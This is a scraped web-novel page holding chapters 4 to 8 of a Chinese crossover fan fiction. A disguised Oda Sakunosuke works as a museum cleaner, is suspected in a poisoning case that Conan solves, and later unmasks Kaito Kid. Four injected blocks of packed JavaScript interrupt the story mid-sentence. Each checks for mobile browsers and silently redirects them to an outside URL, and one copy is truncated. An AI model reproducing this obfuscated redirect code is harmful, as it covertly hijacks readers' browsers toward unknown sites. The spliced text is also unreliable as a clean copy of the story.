;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285791|182585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出话,织田作之助很快便把这当作是亡魂的Debuff,不再计较。 请米原樱子帮忙把孩子带远一点后,他走到尸体边蹲下。 死者的口鼻处,有淡淡的杏仁味道。 是□□中毒。 警方入场后,目暮警官本以为第一眼看到的会是毛利小五郎的秀逗推理秀,或者是阿笠博士和铃木园子的推理对决,再不济也是少年侦探团在现场大放光彩。 没想到活跃的侦探团都乖乖坐在等待席上,铃木园子和毛利兰围着一个捂脸哭泣的女人安慰,尸体旁也没有江户川柯南的身影,只有阿笠博士和一个……清洁工打扮的中年人。 经过调查,他们暂时锁定了三名嫌疑人。 米原樱子,小野柳吉,永近藤香。 将人分别带开询问,目暮警官看着面前疑似面瘫的清洁工,严肃发问:“小野先生,据我们了解在受害者死亡前,你与对方发生过肢体冲突。” 织田作之助:“对。” “原因呢?” “他对我的同事出言不逊,并且有动手的迹象。” “据在场的目击者所述,你当时使出了擒拿的手法,请问你之前专门学习过此类格斗手法吗?” “……这是我从电视上学的。” 少年杀手出身的织田作之助犹豫着回答,他的确没有参加过系统的培训,一招一式都是在枪林弹雨中凭借着【天衣无缝】和身体本能摸索练就的。 这一犹豫的神色自然被目暮警官捕捉到,他沉下脸:“请如实回答,在受害者死亡后,你为什么要阻止其他人靠近尸体,你又为什么单独接触尸体,是想借此掩饰什么吗?” 阻止其他人靠近尸体? 织田作之助仔细回想,被他阻止靠近的人,似乎只有那位戴着眼镜的小朋友。 他看着面前的警官,不解道:“难道你们会允许孩子接触尸体?” 下意识默认了江户川柯南可以参与命案调查的目暮警官:“……” 织田作之助继续回答:“见到人中毒倒下,这种事没办法坐视不理啊。” 目暮警官:“……” 通过贴在目暮警官袖口上的窃听器偷听询问的江户川柯南:“……” 好朴实的回答,但确实挺有道理的。 “为了尽快侦破这起案件,同样也是为了帮助小野先生你尽快摆脱嫌疑,接下来我们将对你的个人物品进行检查。”意识到简单的询问无法得到有效线索,目暮警官说,“请你配合我们到员工休息室打开你的个人储物柜。” “当然可以。” 织田作之助答应得很快,说来有些难堪,他其实在配合警方调查这方面还挺有经验的。 还是杀手的时候,就因为被设局进过一次局子,后面在港口Mafia当底层成员,好几次因为接应不及时被请到警局接受调查。 说起来,面前这位警官可比横滨的专业多了,没有一上来就让他交一大笔保释金,或者是威胁着要给他定罪。 起身时,视线不经意间与目暮警官对上,织田作之助温和一笑。 真好啊,东京有这么理性平和的执法者。 目暮警官:“……” 他在笑什么? 5. 第 5 章 织田作之助带领一行人来到员工休息室。 为什么会是一行人呢? 起初,要对他的个人物品进行检查的只有目暮和另外一位千叶警官,但他们离开临时询问室后,坐在门外的江户川柯南就偷偷跟了上来,侦探团的其他人见此也立即加入,最后是不放心孩子们的毛利兰。 进门前,织田作之助敲了敲休息室的门,确认里面没有保洁队的阿姨们在休息后,将门推开。 见到这一幕,目暮内心对他的认知稍微有所改观。 虽然不太配合他们的询问,但这位小野柳吉先生还挺有礼貌的。 走到储物柜前,将自己用的那一格打开,织田作之助让开位置,方便警官们检查。 受到指示的千叶上前翻看储物柜里存放的衣物。 里面有一套日常通勤穿的格子衬衫和牛仔裤,仔细翻看完衣服口袋,千叶一脸凝重地拿出一个被塑料袋封起来的小包。 小包只有手掌大小。 但织田作之助看到小包的时候,表情没什么变化,内心却暗自懊恼。 ‘忘记把易容道具提前藏好了。’ “这是什么?小野先生请你解释一下。”打开包露出里面的假胡须和易容用的胶水和粉底,目暮十三严肃地盯着织田作之助。 一旁的千叶左跨几步,将跟来的孩子们挡在身后。 “……我其实是个侦探。”织田作之助犹豫片刻后开口。 经过他这些天的观察,在易容暴露后最有效的解释口径就是说自己是侦探。 因为大众似乎对神出鬼没又聪慧敏锐的侦探的包容度很高。 “侦探?”目暮视线锁定在他的脸上,“你伪装潜入铃木博物馆的目的是什么?是谁委托你的?委托内容又是什么?” 确认在警官的态度有所和缓,织田作一边感叹侦探的身份好用,一边装出为难的样子。 “这些需要保密。” 不过他自以为的“为难”,在其他人看来就是装模做样的油嘴滑舌。 因为织田作表情平静,甚至连语调都没有起伏。 “保密?!”目暮提高音调,“现在可是发生了命案,你有义务配合我们的调查!” 织田作张了张嘴,这时房间门被人推开,进来的是同样在接受调查的米原樱子,以及佐藤和高木两位警官。 “小野先生,你们这是?” 米原樱子看着房间内的一行人,不解问道。 目暮的视线在两人之间来回穿梭,片刻后他做出决定,让千叶和高木留下来继续调查线索,他和佐藤单独对米原樱子再次询问。 与其从一直不配合他们警方调查的小野柳吉身上找线索,不如将重点放在与他相熟的同事米原樱子身上。 被单独带到走廊上,米原樱子没有隐瞒,因为她不认为会替她出头的小野先生会是凶手,而且她也想尽快帮助对方摆脱嫌疑。 目暮:“请详细地说一下你对小野柳吉这个人的了解。” 米原樱子:“我是在几天前和小野先生在职业中介所认识的,当时他也在找工作。” “等等,你说他也在找工作,在那之前小野先生是无业状态吗?”目暮提问。 他对小野柳吉自述是侦探这回事一直持怀疑态度。 “这一点我不清楚,但我记得,小野先生是在听中介提到铃木博物馆才主动要求填求职申请的。”米原樱子回忆起那天的经过。 她无论如何也想不到的是,对方求职的原因并不是铃木博物馆,而是中介吐槽的那句“死神女佣”。 但此刻在这里的只有米原樱子和两位当时并不在场的警官,于是误会就这么诞生了。 目暮继续道:“米原小姐是否还记得那天小野柳吉的穿着打扮和一些外貌特征呢?” 米原樱子点头:“那会的小野先生比现在看起来更年轻,穿着也偏年轻化,不像现在故意扮老,还留起了胡子。” 目暮听着米原的陈述,莫名有种无力感:“所以米原小姐你其实发现了小野柳吉的伪装,这件事你有和其他人提起过吗?比如说博物馆负责人。” 他觉得自己似乎窥见了东京犯罪率居高不下的原因之一。 一个来路不明的男人,刻意扮老混进即将展出名贵珠宝的博物馆,甚至和命案发生了牵连,而早就有所发觉的同事却不以为然。 “没有,因为小野先生工作认真,平时也很乐于帮助同组的阿姨们打扫一些很难清理的位置,所以我觉得小野先生这样做一定有他自己的原因。”米原樱子开朗道。 目暮:“……” “我猜小野先生的本职应该是私家侦探吧,细心谨慎,正义感也很强。” 目暮:“……” 现在市民的警惕心未免太低了。 “那他最近有没有什么可疑的举动?” “没有,小野先生总是第一个到,提前帮阿姨们整理清洗好卫生工具,工作的时候也从来不偷懒……” 目暮:“……好了,我知道了。” 看来从米原樱子这里也无法得到对破案有利的线索,他示意几人回到休息室。 休息室内,织田作之助正被少年侦探团的孩子们围在中间询问他的职业。 “叔叔真的是侦探吗?”光彦凑近观察对方脸上的伪装,一旦失去距离的掩饰,拙劣的伪装便轻易被人识破。 哪怕对方只是一个小学生。 织田作之助摸了摸下巴上有些干裂的胡子和胶水:“嗯。” 总之,先用侦探这个身份蒙混过关再说吧。 小野柳吉只是他随手编造的身份,完全经不起警方的进一步身份核查。等到案件结束,得想办法联络一下白马总监了。 步美满脸好奇:“叔叔到这里来是想调查什么呢?” 织田作:“抱歉,这个得保密。” “什么嘛,难道因为我们是小孩子,所以叔叔不愿意和我们分享线索吗?”元太不满地吐槽道。 “这样说太失礼了,小岛君。”一旁的灰原哀小大人一样提醒元太不能太冒犯。 在对方尚未解除嫌疑之前,不当的言语交流可能会引发对方的不满甚至是反击。 面对成年人,哪怕身边有警官们和小兰姐姐在,也不该言语上冒犯别人。 这样想着,她的视线不动声色地扫过面前的男人,然后飘到不远处一直在到处翻找的江户川柯南身上。 显然比起小岛君的发言,有个人的行为更失礼。 对此,织田作之助摆了摆手表示自己并不在意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285792|182585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 都只是孩子,能有什么坏心眼呢。 此时,目暮一行人再次回到休息室内,警官们将织田作之助的易容道具用证物袋装好带走,确认这里没有其他线索后,一大群人浩浩荡荡地回到案发现场。 中心展厅,铃木博物馆的负责人,展厅安保,警方,嫌疑人们,以及少年侦探团和他们的监护人齐聚在此。 看着展厅内各自忙碌的众人,织田作之助少见的露出了疑惑的表情。 米原樱子注意到他的表情变化:“有什么不对劲的吗?” 织田作:“现在博物馆的安保基本上都集中在这里,那么存放珠宝的保险库那边岂不是守备力量薄弱,如果怪盗基德这个时候潜入的话,会很被动吧。” 听完,米原樱子的反应却令他陷入更深的不解。 米原:“原来小野先生是在担心这个啊,放心吧,基德大人绝对会信守承诺,不会提前盗走珠宝的。” 织田作:“……” 他不理解,但他大为震撼。 黑手党内部的确有所谓“义气”和“承诺”之类的说法,但他没想到的是现在连小偷也这么讲究了。 没想到他才死了几年,优良社会文明对犯罪分子的影响竟达到了如此地步。 东京,真厉害啊。 聊着聊着,织田作之助将话题引导到案子上。 他可没有忘记来这里的初衷,先前还对“死神女佣”的说法存疑,但在看到死者因为冒犯了米原樱子便意外身亡后,他渐渐提高了对米原的关注度。 死神身为亡魂的引渡者,绝对不能以个人的主观意志为中心。 更何况鬼灯大人提到的是一位尚未在地府登记的新生死神,更需要加以引导。如果米原小姐是那位滥用权柄的死神的话,他就不得不采取一定的暴力手段了。 “我遇到的案件?”米原樱子指向自己,这让她想到了一些不愉快的记忆,长长地叹了一口气后说:“已经有4起了,今天的案件一旦公布出去,我可能就只有回乡下种田了。” 想到即将变成地狱模式的求职之路,米原捂着脸颓废不已。 “连续遭遇命案的概率是很小的,米原小姐有特地观察案件发生时的情况吗?比如说是否存在共同点之类的。” 织田作之助引导道。 他的本意是让米原樱子回忆在前几次命案发生时,她的身上是否出现出不寻常的超自然现象。谁知对方深思后一拍手恍然大悟道。 “有的!”然后米原樱子抬手指向江户川柯南,“每次案件都有柯南君在场!” 这就是侦探独有的敏锐嗅觉吗?小野先生果然是一位优秀的私家侦探吧。她自我肯定地想到。 顺着米原樱子手指的方向看去,织田作之助看到在命案现场到处乱窜的江户川柯南。 ‘解决命案的少年侦探团。’ ‘面对尸体只有探索欲没有恐惧。’ 内心的怀疑一点点累积,织田作之助轻轻叹息。 鬼灯大人委派的任务果然不可能轻易完成。 织田作默默将米原和柯南都列入怀疑清单,准备进一步调查两人。 ‘如果我也能像太宰一样,简短的交谈几句话就能把对方的性格品行了解得一清二楚就好了。’ 6. 第 6 章 【复仇,最简单的方式就是用一方的性命来换取自己的宽恕。 鬼灯大人曾经问过总监,为什么没有选择去天国而是留在地府。 总监的回答是:‘我得在这里等着那个拿他人性命取乐的炸//弹//犯,生前没能把他的脸揍开花,总不能死后也做不到吧,那可太逊了。’ 总监他,选择了耗时最长也最麻烦的复仇方式。】 没有人会无缘无故夺走他人的性命。 或是仇恨、或是利益纠葛、或是愉悦自我……一定存在一个动手的理由。 织田作之助想到了松田,后者是在一次针对警方的爆//炸事件中丧生的。 松田为了给四年前死在同样手法下的好友复仇,申请调入搜查一课,却在快要抓住凶手时被对方抛出的道德选择击败。 天平的一侧是自己,另一侧是成千上万的民众,他毫不犹豫地选择了牺牲自己。 【在总监桀骜不羁的外表下,我看到一颗纯净高洁的心。】 灵感一闪即逝,织田作之助赶紧掏出手机记录。 离他不远的地方,因为此前织田作之助一直在偷偷观察江户川柯南,自然也引起了后者的注意。 看着自称是侦探的清洁工突然拿出手机编辑文字,江户川柯南内心不免打起了鼓。 清洁工就像一个行走的大型谜团。 身手不凡,但易容手法堪比小学生;沉默寡言,但一说话就让人忍不住吐槽;身份可疑,但意外的有正义感。 加上先前一直落在他身上的探究视线,江户川柯南直觉对方的目标可能是自己。 更不用说这人竟然拿出手机直接记录了。 江户川柯南从来不会让自己陷入被动的困境,他果断选择主动出击。 “啊嘞嘞,叔叔你在给什么人发消息吗?” 为了案子,为了真相,就算他实际年龄已经17岁又怎样,江户川柯南,aka工藤新一自我开解。 黑框眼镜下,那双天蓝色的大眼睛满是好奇,小孩子肉感十足的脸颊微微鼓起,加上那双拉着织田作之助裤腿的小手。 任谁看了都只会当成是小孩子在撒娇。 其中就包括织田作之助。 但他的理智还没丢,记录下的零碎片段中大部分是地府和亡灵的日常,还有总监生前的一些经历,都不适合给现世的人看。 “没有,我只是在玩游戏。”织田作之助平静道,手上飞快地将画面切换到临时搜索的手游中。 转过手机让这个好奇心很重的小朋友看清楚。 “是吗?可是叔叔你刚刚的动作明明是在打字。”江户川柯南不依不饶。 织田作之助:“啊,那是因为我刚刚在游戏里和人吵起来了,你看。” 他点开游戏中的对话框,里面密密麻麻的辱骂和嘲讽,其中不少被口口化,可以看出骂得真的很脏。 这个游戏是他生前的好友太宰治介绍的。 —— Lupin酒吧。 ‘织田作,我最近发现了一个超级有趣的游戏,你看,如果你在组队模式下操作拉跨,锵锵,对话框里就会自动刷新一大堆骂人的话!’ 刚晋升干部不久的少年在他面前手舞足蹈道,没被绷带缠住的鸢色眼睛亮晶晶的。 ‘超级好用对吧,如果不知道怎么骂人的话,上游戏里面玩两把,一下子就能刷出来好多。’ ‘嗯,是挺好用的,不过太宰你的游戏ID为什么叫坂口安吾?’ ‘小学生都知道上网不能实名吧,织田作你在注册新用户的时候也要多多注意。’ ‘什么?太宰你都拿我的名字干什么了?太失礼了!还有织田作先生你也太纵容他了吧,这种时候就该狠狠吐槽他滥用别人姓名干坏事啊!’ 戴着圆框眼镜的坂口安吾摇晃着织田作之助的肩膀大声吐槽。 —— 回忆里的场景从脑海中闪现,再回到现实,织田作之助来不及收起因为美好的回忆而上扬的嘴角,就对上了江户川柯南一言难尽的眼神。 没看错的话,他刚刚是在游戏里被人问候了全家人对吧。 他为什么还笑得出来? 江户川柯南不理解,但大为震撼。 但他身为侦探的专业素养让他很快调整好,继续问道:“可是这里刚刚有人死掉了诶,叔叔为什么还有心情玩游戏?” 织田作之助:“……因为太害怕了,玩游戏可以放松心情。” 江户川柯南:“……” 这人是真把自己当小孩子忽悠了啊! “原来小野先生也有这样的感觉吗?”原本坐在两人身后的米原樱子走了过来,“拓也先生死前露出的那副表情太可怕了,让我总有种被拓也先生的怨灵诅咒的错觉。” 这已经是她第四次遇上命案了,事件发生的频率一旦超出了正常水平,就算是唯物主义者,也难免思考是不是撞上了什么不干净的东西。 江户川柯南:不,我觉得不是。 “嗯,尸体确实挺可怕的。”织田作之助语气淡淡,“不过米原小姐大可放心,世界上根本不存在怨灵。” 因为在世上,存在着比怨灵更可怕的东西,那就是人心。 他看向人群的另一边,一直捂着脸痛哭的第三位嫌疑人,永近藤香。 死者尚未消散的怨气大部分都积聚在她的身边,显而易见,这位被死者扇了一巴掌的可怜女性,就是凶手。 受害者与加害者的身份随时都能进行调换。看样子今天的永近藤香小姐实现了身份的转换。 发现织田作之助的视线一直关注着永近藤香那边,米原樱子好奇道:“说起来,小野先生你的真实身份其实是侦探对吧。” “……嗯。” 人一旦开始说谎,之后就要用无数个谎言来圆。尽管如此,织田作之助还是决定把侦探的身份坚持到底。 因为除了侦探,他实在是想不到还有什么身份能让自己理所当然地留在这里。 “那小野先生有发现什么线索吗?” “嗯。”织田作之助肯定地说,“凶手就是那位永近藤香小姐。” “诶?”米原樱子大吃一惊,“真的吗?小野先生已经推理出她的作案手法了吗?” 压根是靠着地府狱卒的外挂识别凶手的织田作想了想,回答:“因为我和你都不是凶手,剩下的嫌疑人只有永近藤香小姐,她一定是凶手。” 米原樱子:“……哈哈,是这样吗。” 真没想到小野先生的推理手法竟然如此简单粗暴。 一直在偷听的江户川柯南:“……” 现在有一点可以确定,这人的推理能力和毛利大叔不相上下。 但对方的话确实给了他提醒,米原小姐和小野先生虽然都与死者发生过争执,但事发突然,两人都不像是会随身携带致命毒物的样子。 江户川柯南若有所思,托着下巴走向不远处的阿笠博士。 据警方了解,永近藤香小姐与死者是男女朋友的关系。死者去年被确诊躁狂症,但永近小姐一直不离不弃,可惜她的付出没有得到重视,死者在这段时间里反而变本加厉的对永近小姐实施暴力。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285793|182585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >期间甚至严重到住院治疗,今天几人相约在铃木博物馆,就是想趁着人群聚集,死者或许会顾及他人的视线和看法,理智的选择分手。 谁知道竟发生了这样的事件。 死者的手上检测出了微量的毒素,死亡的原因是服药的时候,药丸沾上了手中的毒物。 在那之前,接触过死者手部的,就只有清洁工小野先生的手和死者的女友永近小姐的脸。 真相已经触手可及。 江户川柯南拉住阿笠博士的衣袖:“博士,我已经知道凶手是谁了。” “是真的吗?” “你先蹲下来,待会我需要你这样……” 两人简单交流片刻,已经清楚凶手采用了何种作案手法的阿笠博士给江户川柯南比了个OK的手势,清了清嗓子,对着仍在埋头搜查证据的警方道。 “不用浪费时间了,这起案子的手法和凶手我都推理出来了。” “凶手就是你!永近藤香小姐!” “什么?” “怎么可能!藤香可是那家伙的女朋友。” “就是,瞎说也要有个限度!” “咳咳,请大家先不要着急,接下来我会将永近小姐的作案手法和动机一一道来。” 听着阿笠博士的推理,织田作之助关注的重点却是一直跑来跑去帮助重现犯罪现场的江户川柯南。 他一直在关注对方,所以没有错过两人凑在一起商量的画面。 这位阿笠博士,是在利用小孩子的灵活性和隐蔽性来搜集证据,从而帮助他破案吗? 就像福尔摩斯和贝克街小分队那样。 随着阿笠博士最后一句话落下,犯下案件的永近藤香不再为自己辩驳。 她带着泪痕的脸上看不出悲伤或是懊悔的情绪,只是平静地起身任由佐藤为她戴上手铐。 “我只是做了我该做的事情。”她冷冷道。 “就算我们分手了,这个人渣还会祸害其他不知情的女性,与其让更多的人落入我这样的下场,不如在今天就做个了结。” “我不后悔。” 永近藤香抬手擦掉额角厚重的粉底,露出一道道淤青,她看向陪着她一起来的两位友人,绽开一个苦涩的笑。 “抱歉,利用了你们。” 众人看着这位既是受害者,又是凶手的女人,眼中唯有惋惜。 案件落下帷幕。 低低的啜泣声传来,织田作之助转头,正好看到米原樱子偷偷擦眼泪。 米原樱子眼眶微红,担忧的问:“小野先生,永近小姐会被判处死刑吗?” 织田作之助想了想:“应该不会,当前的死刑仅针对犯下重案的罪犯,永近小姐这样的,还达不到死刑的标准。” 港口Mafia都能靠着横滨纳税第一企业顺利洗白转型,永近小姐犯下的案件根本不算什么。 真要说,她还为社会除掉了一个潜在的威胁。 虽是地府公务员,但“虽犯必诛”的极道理念已经深深镌刻在织田作之助的行事准则里。 “小野先生,请你过来补充一下笔录。” 这时,高木走了过来。 “好。”织田作之助应道,和米原樱子打过招呼后,跟着高木走向一旁的临时询问室。 可进门后,坐在他对面的人却不是高木警官,而是一位留着野生胡须的光头老人。 貌似是那位在新闻头版上宣战怪盗基德的铃木财团顾问,铃木次郎吉老先生。 织田作之助直觉告诉他现在的处境不太妙。 可能要被炒鱿鱼了…… 7.第 7 章 “这位是铃木财团的顾问,也是此次展览会的策划人,铃木次郎吉先生。”高木不好意思地介绍道。 这位率性耿直的警官显然还在为自己说谎把人骗过来感到羞愧。 “听说小野先生是位侦探,身手不错,观察力也很敏锐,所以铃木次郎吉先生想亲自见见你。” 织田作之助想到可能是博物馆发现了他伪造身份一事,神情坦然:“我明白了,要辞退我吗?” 怪盗基德的预告日在即,博物馆肯定不会放任一个来路不明的人在里面乱晃。 “不,老夫这次来是想和你谈一谈更换岗位的事,不过在那之前老夫要先确认一件事。” 铃木次郎吉说着,起身走到织田作之助面前。 没有从对方的动作中感知到杀意,织田作也就选择老实地待在原地。 直到…… 铃木次郎吉抬起手,双手放到他的两侧脸颊。 扯掉了粘贴的假胡子。 抓住他的脸皮用撕扯薯片袋的力气旋转着朝外侧用力。 “好了,园子,把老夫的合同拿过来给小野先生看看。”确认对方不是基德假扮,铃木次郎吉放下心来,示意铃木园子拿合同过来。 因为阎魔大人赐予的特权,所以临时拥有了五感和活人躯体的织田作之助脸颊逐渐发红发烫。 有点痛。 原来之前米原小姐说的都是真的。 难怪安保组休息的时候也要戴着口罩。 拿到合同,织田作之助第一眼就看到了里面好几个零的薪酬。 万、十万、百万、黑蜥蜴、干部、首领! 他看向铃木次郎吉,不确定地问:“没有拿错合同吗?” 合同上写着他需要即日起24小时待命,在怪盗基德预告前来的那天时刻留守中央展厅,守护其中的珠宝。 简单来说就是他即将从保洁队转到安保队。可是像他这样既没有学历也没有各种证书的人,可以拿这么高的工资吗? “哈哈,年轻人别妄自菲薄。”铃木次郎吉大笑着说,“听柯南说是你提供了关键的线索,才帮助他们这么快就破了案,说明你的洞察力过人。” “而且你是侦探不是吗,侦探那一块的费用也包含在里面了。” 拍了拍对方的臂膀,保洁的服装下,是蓄势待发的紧实肌肉,铃木次郎吉更是满意了。 “提供了关键线索?”织田作之助不解。 他除了各种回避警方的问题,根本没有对案件的破解起到推动作用。 铃木次郎吉:“别谦虚了,柯南都告诉我了。” 这位老爷子对他亲封的“基德克星”——江户川柯南有十足的信任,既然柯南都极力推荐对方了,哪怕对方是隐藏身份混进博物馆的侦探,只要不影响到他和基德的对决并且成为助力,把人留下又何妨。 见状,织田作也不再推脱。 他已经把那位叫做柯南的小朋友列入了观察对象之列,能继续留下近距离开展调查,对他更有利。 只是,柯南为什么要编造理由向铃木先生推荐他? 签完合同,织田作之助配合高木将笔录完善。 没错,高木确实有正事需要织田作之助配合,只是中途被铃木次郎吉截了胡。 珠宝的预展就这样草草结束,毕竟展厅刚发生了命案,除了少数神经粗大的人,大部分人都不愿意继续参观下去。 因此织田作之助在完成最后一天的清洁任务后,难得下了个早班。 —— 时间很快来到基德预告函中的正式展出日。 换上黑西装的织田作之助和其他安保站在一起,听铃木次郎吉和搜查二课的中森银三警部就此次对战怪盗基德做行动部署。 恍惚间,他有种回到港口Mafia的错觉。 毕竟正常人很少会大张旗鼓地向小偷宣战,并且把这称作宿命的对决吧。 正走着神,中森银三大步走到织田作之助面前。 “现在开始,所有人每隔三十分钟互相检查彼此的脸,就像这样。”中森掐住织田作的两颊,旋转着朝外用力。 纟只田亻乍之且力:“……” 这个方法虽然简单粗暴,但确实能规避一部分内部人员被怪盗基德渗透的风险。 “喂,马上就要到开馆时间了,你们还没商量好吗?” 会议室的门被人推开,织田作之助熟悉的少年侦探团率先跑了进来,跟在后面的是阿笠博士,毛利兰和铃木园子,最后是一个和中森警部有七分相似的小胡子男人,也是先前说话的人。 “怎么每次都有你,毛利小五郎。” 中森看起来不怎么欢迎对方的到来。 两人犹如两头出栏的斗牛,一见到对方就再也注意不到周围的其他人,不管不顾地撞到一起。 “不过你来得正好,我们正在检查怪盗基德有没有混进警卫队伍。”中森说着,闪电般出手抓住毛利的脸。 毛利也不甘示弱,立马以同样的动作反击:“哈哈,我也正有此意!” 看着两人被放大了一倍不止的脸,织田作之助下意识摸了摸自己的脸。 看样子中森警官对自己还收了点力道。 所谓的战前行动部署,也就是把之前安排过的工作再强调一遍,顺便把所有人的脸捏一遍,除了小孩子们,包括阿笠博士和毛利兰以及铃木园子都没能幸免于难。 直到所有人的脸都红扑扑的,距离开馆时间也只剩下五分钟不到,所有人赶紧前往各自的岗位。 少年侦探团的目的地是能与怪盗基德正面对决的中央展厅,和织田作一样,正好顺路。 路上,织田作之助拉住走在最后的江户川柯南。 “铃木先生说是你向他推荐的我。”他压低声音,“为什么?” 江户川柯南露出一个天真无邪的笑容:“当然是因为小野叔叔很厉害了,一下子就推理出了犯人是谁。” 推理? 织田作有些疑惑。 难道是指他用地府狱卒的外挂和排除法指出凶手是永近藤香小姐那次。 他盯着江户川柯南,直到后者脸上的笑容变得僵硬,才说:“是这样吗?总觉得柯南君是故意这样说,让铃木先生把我留下的。” 柯南君,有点像没那么聪明的江户川乱步,也有点像没那么多小心思的太宰治。 织田作这样想到。 此刻江户川柯南后背止不住地冒冷汗。 他的直觉告诉他面前的男人可以信任,但真正直面那人如大海般平静的双眼,他却有种被人彻底看穿的错觉。 可侦探的本性就是越危险越要向前探索。 “因为我觉得如果遇到危险的,小野叔叔一定会保护我们的对吧。”他试探地说。 压根没看出什么试探,织田作之助凭着本能回答:“当然。” 此时几人也抵达了中心展厅。 那里,米原樱子已经做好了解说的准备,见到几人,笑着招呼道:“大家早上好。” 随即特地转向织田作笑着说:“小野先生早。” 看着“米原樱子”笑魇如花,织田作之助表情严肃了一瞬,但很快就恢复到面无表情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301606|182585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的样子。 “早。”他语气冷淡。 不得不承认,这位大名鼎鼎的怪盗的易容水平很高。 单凭肉眼判断的话,他根本看不出对方的伪装,但好在他已经不是人了,对方身上的“气场”和米原小姐很不一样。 米原小姐的身份被怪盗基德占用。 为了避免身份被揭穿,对方一定会让米原小姐无法出现在博物馆内。是将人迷晕后困在了哪里?还是说,已经灭口了。 织田作之助眼底闪过一丝冷意。 得想办法从怪盗基德那里拷问出米原小姐的下落。 被织田作用不算友善的眼神扫射,“米原樱子”皮下的怪盗基德莫名紧张起来。 怎么回事,根据他的情报,这位小野柳吉应该是个水豚一样的老好人,怎么看起来攻击性这么强。 难道是看穿了他的伪装? 不可能!他这次的伪装连大侦探都没看穿。 怪盗基德内心不安,为了验证自己的猜想,他笑着走向织田作。 “小野先生,我实在是太紧张了,在客人入场前,能先麻烦你帮忙听一下我的解说吗?” 正好织田作之助也想找个机会和对方单独相处,于是点了点头。 “好,我们去那边吧。” 怪盗基德一看,对方指的位置在两个大展柜形成的夹角处,很适合用来说点不方便其他人听的秘密。 正适合他们。 要是对方真的已经发现了“米原樱子”不是本人,在视野不佳的位置谈话,正适合他出其不意地拿下对方。 他握住口袋里的催眠喷雾,抬脚跟上对方。 “说起来,米原小姐你公寓漏水的问题解决了吗?”织田作之助超绝不经意地问道。 怪盗基德提高警惕。 这一定是试探! 他装作为难地说:“这件事我有和小野先生提过吗?怎么有点不记得了。” 为了掩饰自己压根不知道这回事,他又道:“最近背的稿子太多了,说过什么话其实我都记不太清。” 自以为完美的应付过了对方的提问,“米原樱子”的笑容更灿烂了。 谁知织田作之助只是平静地陈述道:“米原小姐这一周都住在员工宿舍,根本没有回公寓。” 说着,他扣住对方的手腕,一个旋转就要将人按在墙上。 “米原小姐在哪里?”他问。 怪盗基德暗道不好,立即拿出催眠喷雾,顺着力道反手对准对方面部猛喷。 狭小的空间里,他屏住呼吸,等着对方瘫倒在地。 可他等到的只有手腕几乎被折断的痛感和面部与展柜亲密接触的冰凉。 对方完全没有被迷晕! 这可是连大象都能迷晕的量,这家伙是人类吗? 织田作之助当然不是人类。 他单手将人控住,按住耳麦说:“怪盗基德出现了,就在中心展厅!” 他平静的语气犹如一颗丢进湖面的巨石,掀起了滔天巨浪。 “A组,B组,立即前往中心展厅增援!” “刚才的声音,是小野侦探吗?务必把怪盗基德控制住,老夫马上就到。” “先暂停开馆!再重复一遍,暂停开馆!” 同样在聊天频道里的毛利小五郎抓住了华点,茫然道:“……小野侦探是谁?” 什么情况,明明有他这个大名鼎鼎的名侦探毛利小五郎坐镇,铃木老爷子竟然还请了其他侦探前来。 更重要的是,这个叫小野的家伙竟然先他一步锁定了怪盗基德的行踪! 8.第 8 章 狭小的空间里,怪盗基德只觉得对方仿佛一只八爪鱼,不断地从四面八方伸出触手将自己束缚住。 反观,织田作之助,他也觉得怪盗基德像一块湿了水的肥皂,滑不溜手,越是用力,越是容易被他逃脱。 论一击毙命,他有十足的把握将人秒杀。 可他身为地府的狱卒,不能擅自剥夺生者的性命,而且他还得从怪盗基德那里问出米原小姐的消息。 心有顾虑,这是杀手的致命弱点。 好在铃木家的安保队伍和搜查二课的警官们有丰富的对战基德经验,不到五分钟,就齐刷刷地涌入中央展厅。 把还在讨论行动计划的少年侦探团吓了一跳。 见此,怪盗基德也顾不上被织田作之助抓住的手,趁着人群涌过来的时机,用牙咬住藏在衣领里的烟雾弹,抛到地上。 “嘭!” 密集的烟雾瞬间四散开来,所有人顿时乱成一团。 